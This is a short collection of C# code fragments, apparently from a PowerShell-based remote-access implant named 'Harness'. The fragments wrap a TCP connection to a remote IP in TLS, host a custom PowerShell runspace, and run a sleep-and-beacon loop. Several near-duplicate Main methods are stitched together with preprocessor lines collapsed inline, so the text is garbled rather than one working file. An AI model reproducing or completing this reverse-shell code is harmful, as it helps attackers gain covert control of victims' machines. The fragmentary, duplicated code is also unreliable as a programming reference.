public CustomStream(Harness program, TcpClient client, bool SECURE) { if (SECURE) { this.secure_stream = new SslStream(client.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null); this.program = program; this.secure_stream.AuthenticateAsClient(BytesToIPv4String(this.program.remoteIP_bytes)); this.SECURE = true; } else { this.clear_stream = client.GetStream(); this.SECURE = false; } }
private static void Main(string[] args) #endif { Harness hcon = new Harness(); do { hcon.Run(); Thread.Sleep(hcon.sleep); } while (hcon.sleep > 0); hcon.CleanUp(); #if HARNESS_DLL return(" "); #endif }
public CustomPSHostUserInterface(Harness program) { this.program = program; }
public CustomPSHost(Harness program) { this.program = program; this._ui = new CustomPSHostUserInterface(this.program); }
private static void Main(string[] args) #endif { Harness hcon = new Harness(); hcon.run(); #if HARNESS_DLL return " "; #endif }
public CustomPSHost(Harness program) { this.program = program; this._ui = new CustomPSHostUserInterface(program); }
private static void Main(string[] args) #endif { Harness hcon = new Harness(); do { hcon.Run(); Thread.Sleep(hcon.sleep); } while (hcon.sleep > 0); hcon.CleanUp(); #if HARNESS_DLL return " "; #endif }